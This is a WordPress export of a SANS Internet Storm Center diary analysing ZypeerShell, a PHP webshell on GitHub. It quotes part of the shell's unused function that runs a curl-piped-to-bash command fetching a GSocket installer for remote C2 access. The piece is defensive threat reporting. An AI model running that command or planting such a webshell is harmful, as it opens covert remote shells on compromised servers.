{"id":13789,"date":"2026-06-23T04:03:37","date_gmt":"2026-06-23T04:03:37","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/06\/23\/33096\/"},"modified":"2026-06-23T04:03:37","modified_gmt":"2026-06-23T04:03:37","slug":"33096","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/06\/23\/33096\/","title":{"rendered":"Webshells Remain Popular, (Mon, Jun 22nd)"},"content":{"rendered":"<p>    Webshells Remain Popular, (Mon, Jun 22nd)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>Webshells have been popular for a long time. We already covered this topic across multiple diaries[<a href=\"https:\/\/isc.sans.edu\/diary\/Webshells+Webshells+everywhere\/28106\">1<\/a>][<a href=\"https:\/\/isc.sans.edu\/diary\/Webshell+looking+for+interesting+files\/23567\">2<\/a>]. I spent some time to track them[<a href=\"https:\/\/owasp.org\/www-chapter-belgium\/assets\/2017\/2017-05-29\/2017-05-29_OWASP-BE_HTTPForTheGoodOrTheBad.pdf\">3<\/a>] and slighly paid less attention to them but today I found another one. It seems to be a new player (pushed on Github two months ago).\u00a0<\/p>\n<p>The webshell is called\u00a0ZypeerShell[<a href=\"https:\/\/github.com\/sagsooz\/ZypeerShell\">4<\/a>] and pretend to be &#8220;The most powerful, undetectable, and feature-rich PHP webshell available on GitHub.&#8221;. The shell is classic and provides most of the expected features for such tool:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260622-1.png?ssl=1\" style=\"width: 800px; height: 634px;\"><\/p>\n<p>I won&#8217;t review all the features because they are classic. In the webshell version I found, some functions were present but never called from the GUI. By example, the function zypeergsdeploy() helps to connect to a C2 server through GSocket<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nfunction zypeergsdeploy() {\n    zypeerhead();\n\n    echo '&lt;div class=\"header\"&gt;&lt;center&gt;&lt;p&gt;&lt;div class=\"txtfont_header\"&gt;| GSocket Deploy Tool |&lt;\/div&gt;&lt;\/p&gt;&lt;\/center&gt;&lt;br&gt;';\n\n    echo '&lt;div style=\"text-align:center;max-width:800px;margin:20px auto;color:#ccc;\"&gt;';\n    echo 'This tool runs the official GSocket installation command:&lt;br&gt;';\n    echo '&lt;code style=\"background:#222;padding:8px 12px;font-size:15px;\"&gt;bash -c \"$(curl -fsSL https:\/\/gsocket.io\/y)\"&lt;\/code&gt;&lt;br&gt;&lt;br&gt;';\n    echo 'After installation, it will show a secret token and connection command (like gs-netcat -s \"XXXX\" -i).&lt;br&gt;';\n    echo 'Click \"Run\" below to execute it directly.';\n    echo '&lt;\/div&gt;&lt;br&gt;&lt;hr&gt;&lt;br&gt;';\n\n    if (!isset($_POST['zypeer3']) || $_POST['zypeer3'] !== '&gt;&gt;') {\n\u00a0   [...]\n<\/pre>\n<p>This function is never called!<\/p>\n<p>Note that the Github repository contains a version obfusctated with Fortress Layer, a\u00a0multi-layer loader with integrity checks. Zypeer is also referenced as a red-team tool on a Telegram channel:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260622-2.png?ssl=1\" style=\"width: 400px; height: 524px;\">???????<\/p>\n<p>[1]\u00a0<a href=\"https:\/\/isc.sans.edu\/diary\/Webshells+Webshells+everywhere\/28106\">https:\/\/isc.sans.edu\/diary\/Webshells+Webshells+everywhere\/28106<\/a><br \/>\n[2]\u00a0<a href=\"https:\/\/isc.sans.edu\/diary\/Webshell+looking+for+interesting+files\/23567\">https:\/\/isc.sans.edu\/diary\/Webshell+looking+for+interesting+files\/23567<\/a><br \/>\n[3]\u00a0<a href=\"https:\/\/owasp.org\/www-chapter-belgium\/assets\/2017\/2017-05-29\/2017-05-29_OWASP-BE_HTTPForTheGoodOrTheBad.pdf\">https:\/\/owasp.org\/www-chapter-belgium\/assets\/2017\/2017-05-29\/2017-05-29_OWASP-BE_HTTPForTheGoodOrTheBad.pdf???????<\/a><br \/>\n[4]\u00a0<a href=\"https:\/\/github.com\/sagsooz\/ZypeerShell\">https:\/\/github.com\/sagsooz\/ZypeerShell???????<\/a><\/p>\n<p><b>Xavier Mertens (@xme)<\/b><br \/>\nXameco<br \/>\nSenior ISC Handler &#8211; Freelance Cyber Security Consultant<br \/>\n<a href=\"https:\/\/raw.githubusercontent.com\/xme\/pgp\/refs\/heads\/main\/public.key\">PGP Key<\/a><\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/33096\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Webshells Remain Popular, (Mon, Jun 22nd) Webshells have been popular for a long time. We already covered this topic across multiple diaries[1][2]. I spent some time to track them[3] and slighly paid less attention to them but today I found another one. It seems to be a new player (pushed on Github two months ago).\u00a0 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-13789","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/13789"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=13789"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/13789\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=13789"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=13789"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=13789"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}